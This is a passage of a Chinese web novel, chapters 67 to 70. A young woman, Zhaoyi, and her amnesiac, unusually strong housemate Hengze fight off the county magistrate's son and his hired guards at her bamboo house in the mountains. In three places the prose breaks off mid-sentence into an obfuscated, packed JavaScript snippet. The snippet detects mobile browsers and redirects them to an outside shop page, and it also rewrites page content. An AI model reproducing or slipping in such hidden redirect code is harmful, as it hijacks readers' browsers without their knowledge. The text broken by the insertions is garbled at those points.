肩膀被人一碰,昭意回过神来。 珩则背着背篓,他专注地看着她。 昭意一愣。 她觉得有些神奇,不知为何,瞧着他这眼神,她烦乱的心竟然平静了几分。 “看你脸色不太好,和刚才米铺老板讲的事情有关吗?” 昭意才觉刚才自己将情绪都表现在脸上了。 她摸了摸自己的脸颊,“是有些事情。” 珩则道:“你若不介意,不妨与我讲一讲。” 昭意叹了口气,“和你讲,恐怕也难以解决。” 他们二人,都无权无势的,两个小小布衣,怎么斗得过这些官员的人呢? 珩则却认真道:“两个人想办法总比一个人好,你不说又怎知无法解决呢?” 他眉目含笑地看着昭意,嘴角的笑意也带了几分温柔。 昭意捂住了心口。 或是今日阳光太好,或是今日风太柔和,又或是对面的人长得实在太过俊美,昭意听到了自己心脏狂跳的声音。 直到对面的人微微偏头,疑惑道:“怎的了?” 昭意才回过神,摇了摇头脑袋。 “没事。只是很少有人跟我说这些。” 她身边除了繁清,就再也没有别的可以交心的朋友了。 如今认识不到两天的人竟然对她说出这种话,不免叫她心中一暖。 昭意偷偷打量着珩则,心中不免有些愧疚。 毕竟在今日之前,她还想着让珩则做她的免费苦力。 想着,她目光落在了珩则背篓里的米袋上,心中更是有几分愧疚。 “你肩上可沉?要不要停下来休息一会儿?” 珩则却有些疑惑,他颠了颠背上的背篓,道:“不沉。” 瞧他那架势,背上背的似乎不是什么米,而是几张纸。 昭意挠了挠脑袋,“那你力气还挺大的。” 珩则一笑。 两人去成衣店给珩则买了几身衣服,又逛了逛市集,便回苍山了。 经过这一次的下山,珩则似乎有些适应了集市的热闹,逛到最后时也不慌乱了,静静站在昭意身边跟着拎东西。 昭意走在前头,手里还是挎着先前出去时拎着的那个小篮子。 她身后的珩则背上不仅背着背篓,左右两只手都还提着东西。 昭意小心翼翼地回头打量他,“真不需要我帮忙?” 负重爬了这么久的山,眼前的人愣是一滴汗都没流。 难道真叫她捡到个大力怪? 珩则朝昭意一笑,“不必。昭意姑娘注意看路。” 刚说完,昭意就被脚下的青竹一绊,她步子一移,才稳住了身形。 她正疑惑脚下为何有青竹时,抬头往前一看,不免沉了脸色。 “墨择,你在这里等我。” 前方的竹林,被大刀砍了一地,青竹横七竖八地倒在了地上。 67. 第 67 章 白衣 昭意脚尖挑起地上的半截青竹,手一抓就紧紧握在手中。 她眼神一冷,直直朝着竹楼走去。 一路到竹楼前,林子里的断竹倒了一地。 昨日才被万里修好的竹门,现在已经裂成两块倒在旁边,地上还印着几个脚印。 “姐姐,你可算回来了,弟弟等你多时了。” 院里幽幽传来一声。 竹楼上,有个少年翘着二郎腿靠在躺椅上,一手撑着脑袋,好整以暇地看着她。 这人身边站着几个高壮的护卫,面无表情地背着手。 这人便是当年县令夫人大着肚子进县令府后生下的孩子,名唤秦明川,比昭意小不了几岁。 昭意冷笑一声,讽道:“我爹娘死得早,可没命给我生个弟弟来。” 秦明川闻言大怒,“噌”地从躺椅上站了起来,行了几步走到栏杆边。 他手一挥,“把她给我抓起来!” 此次他带来的人都是木沧县百里挑一的高手,就算昭意再厉害,双拳难敌四手,他就不信今日拿不下昭意! 瞧着底下被围起来的昭意,秦明川暗笑一声,“姐姐,待你回了秦府,我便好好教你认认你的亲人。” 他眼睛一眯,似乎很有把握。 昭意看着慢慢朝自己逼近的护卫,握紧了手中的竹子。 突然一人朝她猛冲过来,昭意眼神一凛,抬手就将手中竹子送了出去,正好戳中来人要害。 那人痛呼一声,踉跄了几步后倒地。 只是其余人也不留给昭意喘息的机会,相互使了个眼神,一拥而上。 昭意横过竹竿,往前一扫,又逼退几人。 却有两人瞅准机会,一前一后抓住竹竿,这下无论昭意如何使劲都动不了一点。 昭意蹙眉,心道看来这次来的人比之前的小喽喽厉害得多。 后方一人看到昭意被控住,抽出腰中棍棒就朝昭意袭去。 昭意眼睛一眯,松了手跳到竹竿上,脚尖一点就给控住竹竿的两人迎面一脚。 待偷袭那人冲到她面前时,她已然夺回竹竿的控制权,她将竹竿往前一捅,偷袭那人的木棍还未触及昭意发丝,便被捅飞了出去。 站在楼上的秦明川气得牙痒痒,他一跺脚,“掏刀子!今日若逮不住她,你们一个子儿也没有!” 先前秦明川还怕伤了昭意,若是一不小心弄花了脸,倒不好向州上的官爷交代。 只是如今他被怒火冲昏了头脑,哪里还管什么花不花脸,只想将昭意逮回秦府去。 底下的人听了,扔了手中的棍棒,抽出白花花的刀子来。 昭意咬了咬牙,盯着周围的一举一动。 四周的人大喝一声,朝她冲来。 刀与竹竿相接,竹竿应声而断。 幸好昭意反应极快,她一偏头,刀锋划断她脸边几根头发。 竹竿对上刀完全没有任何胜算。 昭意咬牙。 然而这群人却不给她任何喘息的机会,趁她手中没有武器,冲上来两人一左一右死死拽住她的两只手,顿时叫她动弹不得。 身后有人大喝一声,就看到一人手拎着棍子朝她冲过来,看那架势是势必要将她敲晕带走的。 昭意还在与身边的人拉扯着,只是两只手被拽得死死的,只能眼看着那棍子朝着她脑袋抡来。 刹那间,远处飞来一个木盆,直击那人的脑袋。 那人瞪直了眼,他看了眼地上砸到他的东西,似乎有几分不敢置信,下一秒脑袋一晃便轰然倒地。 众人目瞪口呆,看着地上那个翻滚了几圈才稳稳落在地上的木盆。 门口走来一人,身着白衣,墨发披肩,走起路来似有几分仙气飘飘。 只是这人背着一只大背篓,大背篓里装着大米与今早买的几棵大白菜。 他右手拎着个篮子,里面装着几枚圆滑的鸡蛋,左手拎着个布袋子,里头装的昭意刚给他买的新衣裳。 方才那木盆,就是他从背篓里掏出来的。 昭意一呆。 英雄救美的话本她也看过不少,她想象中的英雄便是一身白衣,手执长剑,从天而降一招打跑所有坏人。 这白衣倒是对了。 只是英雄的武器可能不是剑,而是一个普普通通的木盆。 不仅昭意,她身边的人也愣住了,似乎没想到计划好的战术就这么被一个盆给破了。 昭意十分敏锐,她察觉到身边的人走神,抬脚使劲一踹。 就听旁边的人“嗷”了一声,松开手弯下腰去。 昭意空出一手来,握紧拳就给另一人迎面一击。 那人顿时觉得眼冒金星,他脑袋一晃,坐在了地上。 昭意几步跃到珩则身边,目光紧紧盯着院子里的人,她问:“不是叫你在外面等我吗?” 珩则没有说话,只看着她脸颊边被刀划断了的几缕头发。 秦明川从珩则进来就一直盯着他了,这人远看气质不凡,近看也不过是个乡村野夫。 他握紧了拳,等会就将昭意和这个野男人一起抓了…… 正想着,底下的人突然抬头。 珩则面上没有任何表情,而那双眼折射出的冷意却叫秦明川生了一背的冷汗。 秦明川到底是个涉世未深的公子哥,平日里就仗着自己是县令之子作威作福,如今被这眼神一瞪,不知为何,顿时心中就生了退却之意。 秦明川抿唇,有些不甘就这样被一个山村野夫吓到,而心中却又忍不住地恐惧,他对护卫道:“我们走!” 底下人闻言,立即护住秦明川,警惕地看着昭意和珩则两人。 昭意微微仰头,冲着秦明川笑道:“秦小公子,下次还来吗?” 秦明川盯着昭意,冷笑一声,“你等着……” 话音未落,就见一个东西直直朝着秦明川脸色砸去了。 速度之快,叫周围的护卫都反应不过来。 那东西在地上滚了一圈,众人才看清这次珩则丢出去的是个小铜锅。 秦明川被砸了个人仰马翻。 他摸了一把鼻子,低头就看到一手的血。 “救……救命……” 秦明川向来养尊处优,别说流血了,连磕碰都不曾有。 他一见这血,以为自己要死了。 秦明川一翻白眼,被吓得要晕过去,幸好周围的护卫马上拉住他,才没让县令家的贵公子倒在地上。 昭意默默看了珩则一眼。 珩则摸了摸鼻子。 待秦明川一群人离开后,小竹楼里又只剩昭意和珩则两人了。 当然,还有满地的狼藉。 昭意捡起地上的木盆和铜锅。 这铜锅刚刚砸了秦明川的脸,凹进去了一点。 珩则看着昭意这么沉默,蓦地心中一慌,“我可是哪里做错了?” 昭意回头看着他这般小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025076|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼翼的,摇了摇头。 她低下头,眼神一暗,“今日来的那个人,是木沧县县令之子,这人心眼小得很,你今日惹了他,日后恐怕会被他针对。” 珩则轻哼一声,不在意道:“怕他做甚?” 昭意一叹,“今日瞧着局势不对,你就该自己跑的,现在好了,以后你若是想入仕,恐怕就不行了。” 珩则盯着她,认真问:“我若跑了,你怎么办?” “我嘛。” 昭意垂眸遮住眼中苦涩,却笑嘻嘻道:“我自然有自己的法子,方才你可见了?我还是挺厉害的。” 珩则“嗯”了一声,“瞧见了,你差点被人打晕带走了。” 昭意一噎,瞪着他,“你这人,怪不会说话的。” 她长舒一口气,喃喃道:“傻子,这里的事跟你又没关系,下次再遇到,赶紧逃。” “怎么会没关系?” 昭意一愣。 珩则注视着昭意,目光真挚,“这也是我的家,我总不能看着他们毁了这里。” 昭意不知想到了什么,突然脸上一烫,“什……什么家?” 似乎也太快了吧,他们明明昨天才认识啊。 珩则眉头一皱,“你反悔了?” 瞧着他那真诚又耿直的眼神,昭意后知后觉,他说的恐怕是她让他在竹楼住下的事情。 心头的熊熊烈火被一盆冷水泼下。 昭意轻咳一声,成吧,这么形容也没什么不对的。 昭意把手中的木盆和铜锅放到桌子上,环视了周围一圈,叹道:“看来得花费些力气了。” 院里一片狼籍,先前种的东西也被踩得细碎。 珩则正好将肩上的背篓放下,闻言,他转过头来道:“我来,你歇着。” 昭意摆摆手,“哪能让你一个人忙活?” 说着她就要起身。 肩膀却被人一按,她稳稳地坐回了椅子上。 珩则道:“当时说好了的,我来干体力活,你让我住在这里。” 昭意沉默,瞧着他十分认真的眼神,最终点了点头。 只是她心中又多了几分愧疚感。 她坐在院里,看着珩则一人放置桌椅,扫清庭院,将被踩坏的菜苗重新种进土里。 这样一番下来,他竟然一滴汗都没流,让昭意想帮忙也插不上手。 突然,昭意看到他走到了水缸前。 昭意眼睛一亮。 平日里,昭意要搬动着这水缸都是要将水舀空了才能勉强推动,如今水缸里盛着满满当当的水,珩则一人铁定是挪不动的。 昭意撸起袖子,就要朝珩则走去。 却见珩则只看了一眼,两手撑在水缸边缘,双手轻轻一抬,像是提着个纸糊的缸一样就走了。 昭意脚下一僵。 珩则听到脚步声,转过脑袋看向昭意,“怎的了?” 昭意看着他,干笑两声,“没事,没事。” 心里却道,她当真捡了一个大力怪啊! 珩则忙活了片刻,院里总算是恢复如初了。 他又重新去林子里找了竹子来捆成竹门,立在门口,看着就比以前昭意自己做的结实多了。 昭意拍了拍门,惊叹道:“你怎么什么都会啊!” 珩则微微一笑,目光落在了她的脸上。 昭意正感叹完,转头就见到珩则盯着她不说话。 她心中一紧,“怎的了?” 68. 第 68 章 月光 珩则抬手,手指要触碰到昭意脸庞时又停了下来。 “你的头发……” 昭意垂眸,才见脸颊边的几缕断发。 她不甚在意地将那几缕断发撩至耳后,笑了笑,“这样就好了。” 珩则看了她一眼,没有说话。 院里被收拾得差不多了,只是还有个问题。 昭意道:“不知他们还会不会偷袭,今夜我来守夜吧。” 前几日昭意便是这般,生生熬了一宿,才将门外蹲点的人给熬走了。 昭意想着,秦明川一个娇生惯养的贵公子都能在这贫穷的小镇里待上几天不走,恐怕此次县令是惹了不该惹的麻烦,才急着讨好州上的官爷。 这次秦明川带了这么多高手来,更是坐实了昭意的猜测。 没有达到目的,对方恐怕不会善罢甘休。 珩则却道:“我来吧。” 昭意连忙摆手。 方才收拾院子的事已经全都交给珩则来做了,守夜的事情昭意实在不想推给他。 昭意劝道:“正好我晚上睡不着,来院子里溜达溜达,顺便守夜了。” 却不料,珩则一抬眸,“我同你一起,我也睡不着。” 昭意一惊,上下打量着他。 “你怎会睡不着?莫不是认床?还是伤势并未痊愈?” 珩则摇摇头,“不知。” 他回想着昨夜躺在床上翻来覆去都无法入眠——因为太吵了。 竹林里的虫子吵,河流吵,山下的人吵,山下人养的鸡鸭叫声吵。 不知为何,他有时能听到远处的声音,有时又听不到。 只是好在他白日里并不会因为夜间失眠就精神不济。 他刚才听昭意说她也睡不着,便认为自己是正常的,既然昭意也这样,说不定所有人都一样。 于是守夜就变成了两人一起。 昭意拖来一张躺椅,自己就躺了上去。 她眯着眼看着落日黄昏,太阳的余辉尽数洒在山林之间。 昭意双手枕着脑袋,笑道:“你别说,我们这竹楼虽寂静了些,平日里也没什么人来,但这风景却十分好。” 珩则也挪来一把椅子,他弯腰拍了拍上面的灰尘,撩起袍子坐下。 “你既然嫌这里寂静,又为何在这里住下?” 昭意一噎,她暗暗瞥了一眼坐得端正的珩则,冷哼一声,“我喜欢。” 珩则却问:“是为了躲白日的人?” 一针见血。 昭意翻了个身,背对着他,不想再理,“你这人说话甚是无趣。” 珩则看着她的背影笑了笑。 月亮攀上空中,将竹子的影子照到院里,有风一吹,竹影同青竹一起沙沙摇动着。 珩则很喜欢这样的夜晚。 他站在院里,月辉洒在他身上。 珩则深吸一口气,便觉得身心的疲惫一扫而净,在这夜晚中似乎更精神了些。 莫不是他们吸收了日月精华就不用睡觉了? 珩则正觉得新奇,转过身要与昭意探讨此事。 却见不知何时,昭意已经在院里的躺椅上睡着了。 她双手环抱着自己,整个人窝在躺椅上闭着眼,竹影落到她身上。 此时的她比起白日里,倒是多了几分娴静。 珩则看了她一会儿,低笑一声。 原来不是他们不用睡觉,是只有他不用睡觉。 他轻轻走过去,将身上的长袍披到她身上。 他就坐在她旁边,静静地看着她。 忽而又阵风吹来,伴着竹林沙沙的响声,到底是夜晚,终归是有些凉意。 昭意动了动身子,裹紧了身上的衣服。 珩则沉默了一会儿,他俯身向前,轻轻地就将人抱到了怀里。 他朝竹楼一步一步走去,月光将两人的影子拉得老长,与竹影融为一体。 * 次日,阳光正好,照在了刚醒来的昭意身上。 她抓着自己身上有几分眼熟的白衣,有点傻眼。 她依稀记得自己昨夜是在院里睡着的…… 外面传来些许声响。 昭意看头一看,只见有个人影在厨房里穿梭着,窗户上似乎还映着火光。 听着厨房里不太正常的响声,昭意看了自己手上的衣服一眼,犹豫了一下,还是准备下楼去。 若是厨房炸了,那可是比什么白衣黑衣更恐怖。 厨房里浓烟滚滚,昭意一开门就被呛了一口。 她眯着眼,瞅准被丢在地上的盖子,一把抓起就往火上一盖,那盖子像是什么降妖的法器一样,嚣张的火焰顿时被压在盖子下,动弹不得。 昭意猛呛了几声,一把推开厨房的所有窗户。 她深吸了几口窗外的新鲜空气,转过头看着里面的人。 此时浓烟已经消散了许多,让她隐约能看清里面的人了。 昭意蹙眉,“你这是在干什么?” 她挥了挥手,拍散了周围的烟雾,蓦地一愣。 昭意嘴角紧抿,憋住了笑意。 只见珩则一身白衣已被熏成黑衣,白皙的脸上被染了一片黑。 他少见地有几分不知所措。 昭意轻咳几声,试图掩盖自己不小心发出的笑声,“大早上的,你干什么呢?” 珩则看着昭意眼中掩饰不住的笑容,猜到了些许,他木着脸,拿过搁置在旁边的帕子就往脸上擦。 昭意瞥了一眼被盖住的锅,寻思着这会儿火应该灭了。 她上前想要掀开锅盖,却见眼前的人身形一晃,挡在了她前面。 珩则抿着唇,眼神飘忽,“这就……不必看了吧。” 他目光落在昭意朝锅盖伸出去的手上,一闭眼,视死如归,“若非要看,也行吧。” 他这样说,昭意更是好奇了。 她掀开锅盖悄悄看了一眼,只见里面躺着几棵烧焦了的小白菜和一坨面条。 昭意再次抿紧了唇。 珩则扫了她一眼,“想笑便笑吧。” 虽然珩则这么说了,昭意倒也不敢笑得太放肆。 她捂了捂嘴角,笑道:“就算是煮面,这也太素了。” 闻言,珩则这次挺直了腰杆,“你这厨房里根本集没有荤肉。” 所以这不能怪到他头上来。 昭意朝他一笑,“荤肉啊,一会儿就有。” 茂密的树林中,安静得只有鸟鸣声。 阳光从树冠的间隙洒下,照在站在树上的一只彩尾鸡身上,将它背上的毛发照得发出七色光芒。 它警惕地看着四周,周围一片寂静,它才落下来啄着地上的碎米。 刹那间,空气被利箭划破,直直朝着那彩尾鸡射去。 远处,昭意放下手中弓箭,朝珩则一挑眉。 珩则瞅了她一眼,“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038049|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么确定射中了?” 昭意道:“那是自然,不信你去看看。” 其实珩则只听声音,就知道那箭射中了。 他多看了一眼嘴角扬着笑,正得意洋洋的昭意,心中也一轻,刚转身要去找那彩尾鸡。 昭意将弓箭背到背上,伸了个懒腰,“去吧,阿择。” 蓦地,珩则脚下一顿,踩裂了一段树枝。 昭意闻声回头,就见到僵在原地的珩则,不仅有些疑惑道:“怎的了?” 她想了想,莫不是他觉得这个称呼太过亲密了? 珩则愣了愣,摇头,“没……没什么。” 说罢便朝着那彩尾鸡的方向匆匆走去了。 不知怎的,方才昭意那般叫他时,他竟然有些恍然,似乎有什么东西要从记忆深处破土而出,待他要细细追寻时,却又消失不见。 不过珩则只失神了一瞬间,就回过神来了。 他弯腰捡起彩尾鸡,扔到背篓里。 远处,昭意朝他喊道:“好了没?” 珩则应了一声,踩着树枝往回走。 今日自然是吃烤鸡。 昭意在院子里支起了架子,不一会儿,竹楼中就飘起香气来。 珩则在远处嗅了嗅,慢慢走了过来坐在昭意身边。 只是这口荤肉两人谁都还没吃上,就听外面传来敲门声,并伴随着少女的呼喊声。 “昭意!我闻到烤鸡味儿了,快开门!” 昭意无奈,看了一眼旁边眼巴巴坐着的珩则,只能先将手里这只给珩则了。 她起身就去开门。 门外站着的果然是繁清和万里。 一开门,繁清就使劲嗅着空气中的香气,她抓着昭意的衣服,“我就知道我没白担心你,快把烧鸡交出来!” 昭意轻咳了一声。 繁清这才觉得不对劲,她往昭意身后一看,院子里竟然坐着个吃着烤鸡的俊美男子! 两个姑娘默默对视了一眼。 繁清小声道:“这是那个黑人?” 昭意点了点头。 繁清瞪大了眼,拉着昭意小声道:“万万没想到,他居然这么俊啊,比镇上秀才都还要俊!” 话音刚落,就听后面的万里咳了一声。 他推将门完全推开,对繁清道:“小姐,进去再说吧。” 繁清将想说的话憋了回去,和昭意跟在万里后面走了进去。 架子上已经新烤着一只鸡了。 珩则方才看过昭意是如何操作的,他记性极好,这会儿已经能熟练地上手了。 几人刚想坐下,就听珩则问:“黑人是谁?” 除了万里外,繁清和昭意面上都一僵。 昭意轻咳一声,“你这耳力,挺好啊。” 为了避免珩则继续追问,昭意向繁清和万里介绍,“这位墨择,他醒来后什么记忆都没了,便先给他取了个名字。” 昭意又向珩则介绍了繁清和万里,“当时便是我们三人一起将你从后山救回来的。” 繁清闻言,却没忍住,她噗嗤一声笑了出来,“你给他取名叫墨择?” 最终在昭意慌乱的眼神下,繁清渐渐将笑意憋了回去。 她看着珩则缓缓抬起的眼眸,赶紧低下头。 珩则如此聪明,前后联系后便隐约知道是怎么回事了。 他幽幽地看着昭意,“你当时不是说,这是个好名字吗?” 69. 第 69 章 合力 昭意微微便过头,瞪了一眼繁清。 繁清根本不敢抬头。 最终还是万里开口解了围,他转动一下烤架,淡淡道:“再不吃,就要糊了。” 昭意与繁清对视一眼。 话题又被扯回了这烤肉有多好吃,这山有多难爬。 正谈着,昭意突然想起,便问:“你俩不是回木沧县了吗?怎么又回来了?” 从这个小镇去木沧县城中,坐马车也需要一会儿时间呢。 算着这时间,繁清和万里似乎没到木沧县就又回来了。 繁清停下了咀嚼的动作,她看了一眼昭意,“我想接你跟我一起回沈府。” 火堆里传来噼啪的响声。 珩则停下了手里的动作,抬头看向繁清。 繁清拉过昭意的手,“我们走时,听闻县令家那小子找了好几个高手冲你来了,我就拉着万里一起回来了。昭意,跟我回沈府吧,你一个人住在这里我实在不放心。” 昭意拍了拍她的肩膀,不甚在意,“没事,他们已经来过了,都被我和阿择打跑了。” 繁清摇头,打断她的话,“不,这事没有这么简单。” 看着她脸上的凝重,昭意不禁疑道:“到底是怎么回事?” 繁清沉默了一会儿,才道:“县令老头娶的老女人有个堂弟,整日游手好闲,花天酒地。这下好了,几天前将州上一位官爷养在外头的外室抢回去了。听闻那外室正得宠,官爷怒得不行,非要县令老头送个人过去才肯罢休。” 昭意冷哼一声,“整个木沧县没人了?” 就非要来找她。 繁清小声道:“送过了。听闻那官爷眼睛毒辣得很,非要挑好看的……” 所以这才把主意打到昭意身上来了。 昭意的娘年轻时也是个美人,昭意自然遗传到了她娘的美貌,加之她从小就没养在宅院里,多了几分别人没有的灵气。 她下山去镇上时,夸她好看的人不少,却没几个真的想娶她的。 镇里的人都是些平凡百姓,谁都知道她的生父是如今的县令,也知道她与县令一家的矛盾,生怕一个不小心就给自家招来不必要的麻烦。 昭意握紧拳,“他们若敢再来,再打回去就是!” 这么多年来,昭意能一人在外生活,她自然是有些自保能力的。 “啪”的一声,棍子断了。 三人闻声望去,只见珩则手里拿着一截断了的棍子,棍子的另一边还架在火上烤着。 繁清和万里有些惊讶地看着珩则手中有小指粗的棍子。 昭意朝他们干笑一声,忘了跟繁清万里说,他们一起救回来的人是个大力怪。 食饱餍足后,几人正打算回小竹楼休息一会儿,就听着外头传来一阵脚步声。 昭意选的这处位置十分静僻,苍山的路又十分难走,平日里几乎没有人来,可以说除了繁清和万里,就不会再有人来找她。 这个时候来人,昭意只能想到秦明川了。 昭意蹙眉,“啧”了一声,“这么死缠烂打。” 她瞥了一眼放在角落里的锄头,抗上锄头就要出去,却被繁清紧紧拉住。 “外面太多人了,你怎么应付得来?” 繁清急得额头上冒出汗来。 他们这四人里面,恐怕只有昭意会些功夫。 她从来没有学过武,而万里平日里学的是医术,虽然也有些拳脚,但若真打起来,恐怕也不是对手。 繁清看了一眼站在一旁斯斯文文的珩则,一看他就不是个会打架的。 繁清暗暗分析了会儿如今的形势,还是觉得先逃更好。 外面的脚步声越来越近,似乎已经把竹楼围了起来。 有人在高喊,“秦昭意,再不出来,一把火烧了这里!” 一听声音,就知道是秦明川。 “外头已经被围起来了,恐怕跑不了了。” 昭意脸色一肃,对万里道:“保护好繁清,他们的目标只是我,一会儿若打起来,你带着她趁乱跑!” “昭意,我不同意!” 繁清刚上前一步就被万里拽了回去。 万里朝着昭意点了点头。 昭意脸色一沉,拖着锄头就朝外走去。 然而她才迈出了一步,手上就一轻。 不知什么时候珩则走到了她旁边,弯腰夺过了她手中的锄头。 珩则朝着昭意微微一笑,“抗锄头这种体力活,交给我就好了。” 说罢,他拎着锄头,就朝门外走去。 似乎他不是去门外打架,只是扛着锄头去田里一样。 昭意愣愣地看着他的背影,半晌才想起来去厨房拿个菜刀。 外头秦明川坐在轿子里喊了半天,才见一个人推门而出。 他眯着眼看过去,看清了门后走出来的男子,可不就是那天砸他的人嘛! 新筹旧恨一起来,秦明川心里升起一阵怒火,却又不禁地摸了摸自己的鼻子。 秦明川大喝一声,“给爷拿下他!” 周围的护卫就朝着珩则冲过去。 今日他带来的人又有些不同。 这些人是他从驻扎在木沧县附近的军营里借来的,一个人就要花上好几两银子,实在是让他心痛。 只是没办法,他只能想到这个法子了。 想起自己亲娘在秦府里哭得不能自已的样子,秦明川实在不忍心。 他看着朝着珩则冲过去的几名士兵,心中十分有把握。 而下一秒,却见门口那白衣人举起手中的锄头,朝着来人一掷,正好砸在冲在最前面的那几人身上,摔了个四仰朝天。 秦明川使劲拍了拍轿子,指着地上躺着的几人,“快给爷起来!” 不用秦明川说,这群经常在军营里摸爬滚打的人被这么一痛击后,片刻就立马回过神来,从地上爬了起来,拎起手中的刀剑就朝珩则冲过去。 不知怎的,珩则突然觉得他们的动作变得很慢。 他们举刀,呐喊,冲刺,在珩则眼里似乎都变成了慢动作一样。 所以珩则可以十分轻松地穿梭在他们中间,打落他们手中的兵器。 只是百密一疏,周围这么多人,总有一个趁珩则没有注意,一跃而起,举起剑朝珩则砍过去。 等珩则察觉到,那人的剑已经悬在头顶。 不过这点动作对他来说,依然太慢了。 待他要抽出旁人的剑与那人对上时,只见远处飞了一把菜刀,正正好与那人的剑撞上。 剑和菜刀一起飞了出去。 “小心!” 昭意见菜刀成功将剑击落,狠狠松了一口气。 她脚尖一挑,将旁边的竹子踢了起来,稳稳握在手中。 秦明川见到她,眼睛都亮了,连忙指着昭意,“就是她!快,抓住她,重重有赏!” 刚才被珩则掀翻在地的士兵爬了起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050550|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着昭意,眼中如狼一般散发出凶狠的光芒。 只是下一刻,他们却觉得眼前一晃。 一道冰冷的剑光横在他们眼前。 珩则站在了昭意身前。 士兵们相视一眼,心一提。 若是只有门口那个女子,他们定是能稳稳拿下。 而站在他们面前的这个男子,从刚才交手来看就是个十分难以应付的对手。 “你们愣着干什么!” 秦明川看着不动的士兵,气不打一出来。 为了请这几个人,几乎花尽了他所有的银两,若是这样还不能将昭意绑回秦府去,他可真的是亏大了! 听着东家一喝,士兵们也只能硬着头皮上。 他们自然知道要挑软柿子捏,虽然是个不怎么软的柿子。 昭意一竹竿捅在一人身上,那人却不觉得痛一般,反手握住竹竿,往后一拉。 她一惊,为了不被拽倒,她只能松了手。 可是这样手中就没了武器。 看着朝她落下来的刀剑,昭意只能在其中有些狼狈地躲闪着。 只是手里没有武器终究是不行。 就这么一会儿,几道剑锋就已经划过她的衣袖和发丝。 只听一声刀剑相接的响声,珩则突破了重围冲到昭意面前,用剑挡住了暗刺向昭意的刀。 “拿着!” 珩则将自己手中的剑送到昭意手中。 只是珩则手里就没了武器。 昭意只顾虑了一秒,因为前方已经有剑影朝她刺来,她来不及再想其他,反手一挥,正好挡住那剑。 只是昭意用剑用得有些吃力。 她从未使过剑,平日里就用用菜刀什么的。 想不到这次秦家真的是铁了心,找来了这么几个厉害的人,交起手来她都觉得很吃力。 两剑相接,对方手中的力道渐渐加重,昭意要紧了牙,还是挡不住渐渐朝着她脖颈靠近的剑锋。 旁边赤手空拳的珩则还在被几人拖着。 远处的秦明川一拍大腿,紧张地盯着昭意这边,心中觉得快要稳了。 然而下一秒,长剑一挑,昭意只看到眼前一道剑影一闪而过,手上的负担便轻了。 珩则又从对方那里夺来一把剑,他被困住脱不开身,抬头就见到了不远处僵持不下的两人。 瞧着昭意有些挡不住对方的攻击,珩则便将手中长剑掷了出去,力道之大,将对方连人带剑一起被撞开了。 见状,秦明川急了,下了轿子,抽出护卫的佩剑就要自己上。 昭意巴不得他过来。 也不知道秦明川从哪里雇来的这群人,个个跟硬骨头一样难啃,只是目前的情况,除了硬杀就没有别的法子了。 而秦明川出现后,就不一样了。 昭意察觉到他的动作,心中暗笑一声。 这会儿人大部分都在珩则那里,能拦住她的只有一两人。 昭意握紧了手中的剑,看着那个急吼吼冲入战场的身影,脚一踏地,佯装朝几个护卫冲去,却在将要交锋时一弯腰,从刀剑之下躲了过去。 待他们察觉到昭意要做什么时,已为时已晚。 冰凉的剑横在了县令家公子细嫩的脖颈上。 风轻轻一吹,秦明川的一缕头发飘到剑锋上,就断了下来,轻轻落到地上。 昭意看着秦明川,朝着举着刀剑不知所措的士兵们一笑,“都给我住手。” 70. 第 70 章 同往 秦明川显然没有料到昭意会直接冲他来。 场上的人都僵住了。 秦明川看着自己雇来的士兵眼里藏不住的惊讶,不由得有些恼羞成怒。 “你们这群废物!过来救我!” 士兵面面相觑,犹豫地举起了刀。 秦明川握紧拳,一脸愤怒,“快啊!她不敢真的动手……” 话音未落,他的瞳孔就猛地一缩,真实的刺痛感从脖子蔓延开来。 锋利的刀锋擦过秦明川的脖子,温热的血顺着他的脖颈没入他的衣襟。 顿时脖子一片黏糊糊的。 昭意凑近他耳朵,低声道:“你又不真的是我弟弟,真以为我不敢杀你吗?” 说罢,她手中的剑压住了秦明川的肌肤。 秦明川身子一抖,却强装镇定,“你若杀了我,我爹娘不会放过你的!” 只是他声音中带着的一丝颤抖出卖了他。 “县令家的公子在回木沧县的路上不幸失足坠崖身亡,这和我可一点关系都没有。” 昭意下巴微扬,示意秦明川看向站在人群中的珩则。 “瞧见那人没?他是个绝世高手,你请来的这些人,都不配他拿出他的剑来杀的。待你死了,这些人也一个都活不了,没人会告诉你远在天边的爹娘真相。” 秦明川顺着她的眼神看过去,暗暗咽了咽唾沫。 方才这白衣男子的厉害,他是见识过的。 这男子赤手空拳都还能打得过他请来的人,秦明川对昭意的话没有产生一丝怀疑。 秦明川盯着昭意脸上的笑,心中一寒。 他从很小就知道了自己有个在外不被承认的姐姐,只是到了今天,他似乎才认识到眼前人是什么模样。 